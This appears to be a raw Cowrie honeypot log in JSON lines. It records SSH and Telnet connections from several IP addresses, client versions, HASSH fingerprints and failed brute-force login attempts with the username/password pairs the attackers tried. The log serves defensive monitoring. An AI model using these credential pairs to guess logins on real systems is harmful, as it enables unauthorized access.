{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:12:18.750257Z","src_ip":"45.144.233.139","session":"01a13e52b009","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"www.163.com","message":"login attempt [admin/www.163.com] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:12:19.129267Z","src_ip":"45.144.233.139","session":"01a13e52b009","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:12:20.218511Z","src_ip":"45.144.233.139","session":"01a13e52b009","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":59860,"dst_ip":"10.17.0.5","dst_port":23,"session":"49f65bfe45d5","protocol":"telnet","message":"New connection: 20.123.41.163:59860 (10.17.0.5:23) [session: 49f65bfe45d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:12:21.639433Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":44904,"dst_ip":"10.17.0.5","dst_port":23,"session":"8216d5c61044","protocol":"telnet","message":"New connection: 20.123.41.163:44904 (10.17.0.5:23) [session: 8216d5c61044]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:12:29.136080Z"}
{"eventid":"cowrie.session.closed","duration":9.399446487426758,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:12:38.535305Z","src_ip":"20.123.41.163","session":"8216d5c61044","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":40078,"dst_ip":"10.17.0.5","dst_port":23,"session":"f62924a07d46","protocol":"telnet","message":"New connection: 20.123.41.163:40078 (10.17.0.5:23) [session: f62924a07d46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:12:52.567837Z"}
{"eventid":"cowrie.session.closed","duration":43.757092237472534,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:13:05.396455Z","src_ip":"20.123.41.163","session":"49f65bfe45d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.144.233.139","src_port":40738,"dst_ip":"10.17.0.5","dst_port":22,"session":"aaa0cc50ad19","protocol":"ssh","message":"New connection: 45.144.233.139:40738 (10.17.0.5:22) [session: aaa0cc50ad19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:13:05.608406Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:13:05.613668Z","src_ip":"45.144.233.139","session":"aaa0cc50ad19","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:13:05.706146Z","src_ip":"45.144.233.139","session":"aaa0cc50ad19","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"2welcome","message":"login attempt [admin/2welcome] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:13:06.087651Z","src_ip":"45.144.233.139","session":"aaa0cc50ad19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:13:07.180653Z","src_ip":"45.144.233.139","session":"aaa0cc50ad19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.143.231.102","src_port":35070,"dst_ip":"10.17.0.5","dst_port":22,"session":"3ff55a0f138d","protocol":"ssh","message":"New connection: 103.143.231.102:35070 (10.17.0.5:22) [session: 3ff55a0f138d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:13:10.451290Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:13:10.478768Z","src_ip":"103.143.231.102","session":"3ff55a0f138d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:13:10.550186Z","src_ip":"103.143.231.102","session":"3ff55a0f138d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user2024","message":"login attempt [user/user2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:13:10.865716Z","src_ip":"103.143.231.102","session":"3ff55a0f138d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:13:11.942278Z","src_ip":"103.143.231.102","session":"3ff55a0f138d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":49258,"dst_ip":"10.17.0.5","dst_port":22,"session":"1e94b7cc8a98","protocol":"ssh","message":"New connection: 194.59.206.2:49258 (10.17.0.5:22) [session: 1e94b7cc8a98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:13:19.020531Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:13:19.025257Z","src_ip":"194.59.206.2","session":"1e94b7cc8a98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:13:19.115238Z","src_ip":"194.59.206.2","session":"1e94b7cc8a98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:13:19.206130Z","src_ip":"194.59.206.2","session":"1e94b7cc8a98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.24.47.94","src_port":59996,"dst_ip":"10.17.0.5","dst_port":22,"session":"6528a1214e44","protocol":"ssh","message":"New connection: 46.24.47.94:59996 (10.17.0.5:22) [session: 6528a1214e44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:13:44.330186Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:13:44.334288Z","src_ip":"46.24.47.94","session":"6528a1214e44","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:13:44.440141Z","src_ip":"46.24.47.94","session":"6528a1214e44","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser1","password":"testuser1","message":"login attempt [testuser1/testuser1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:13:44.892124Z","src_ip":"46.24.47.94","session":"6528a1214e44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:13:46.001100Z","src_ip":"46.24.47.94","session":"6528a1214e44","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":44716,"dst_ip":"10.17.0.5","dst_port":23,"session":"f655c2edc417","protocol":"telnet","message":"New connection: 104.245.105.2:44716 (10.17.0.5:23) [session: f655c2edc417]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:13:52.815905Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.144.233.139","src_port":54770,"dst_ip":"10.17.0.5","dst_port":22,"session":"f1ed4f2ffc22","protocol":"ssh","message":"New connection: 45.144.233.139:54770 (10.17.0.5:22) [session: f1ed4f2ffc22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:13:52.921937Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:13:52.926648Z","src_ip":"45.144.233.139","session":"f1ed4f2ffc22","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:13:53.016677Z","src_ip":"45.144.233.139","session":"f1ed4f2ffc22","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testing","password":"abc123","message":"login attempt [testing/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:13:53.397820Z","src_ip":"45.144.233.139","session":"f1ed4f2ffc22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:13:54.488404Z","src_ip":"45.144.233.139","session":"f1ed4f2ffc22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":64.2722396850586,"message":"Connection lost after 64 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:13:56.840019Z","src_ip":"20.123.41.163","session":"f62924a07d46","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.238.146","src_port":35910,"dst_ip":"10.17.0.5","dst_port":22,"session":"65775599f1e2","protocol":"ssh","message":"New connection: 152.32.238.146:35910 (10.17.0.5:22) [session: 65775599f1e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:14:06.976491Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:14:06.980873Z","src_ip":"152.32.238.146","session":"65775599f1e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:14:06.996885Z","src_ip":"152.32.238.146","session":"65775599f1e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Passwd1","message":"login attempt [ubuntu/Passwd1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:14:07.095755Z","src_ip":"152.32.238.146","session":"65775599f1e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.143.231.102","src_port":51650,"dst_ip":"10.17.0.5","dst_port":22,"session":"769e8e8bfdf6","protocol":"ssh","message":"New connection: 103.143.231.102:51650 (10.17.0.5:22) [session: 769e8e8bfdf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:14:07.227584Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:14:07.232332Z","src_ip":"103.143.231.102","session":"769e8e8bfdf6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:14:07.304832Z","src_ip":"103.143.231.102","session":"769e8e8bfdf6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"digital","password":"digital@123","message":"login attempt [digital/digital@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:14:07.622326Z","src_ip":"103.143.231.102","session":"769e8e8bfdf6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:14:08.110844Z","src_ip":"152.32.238.146","session":"65775599f1e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:14:08.695795Z","src_ip":"103.143.231.102","session":"769e8e8bfdf6","protocol":"ssh"}
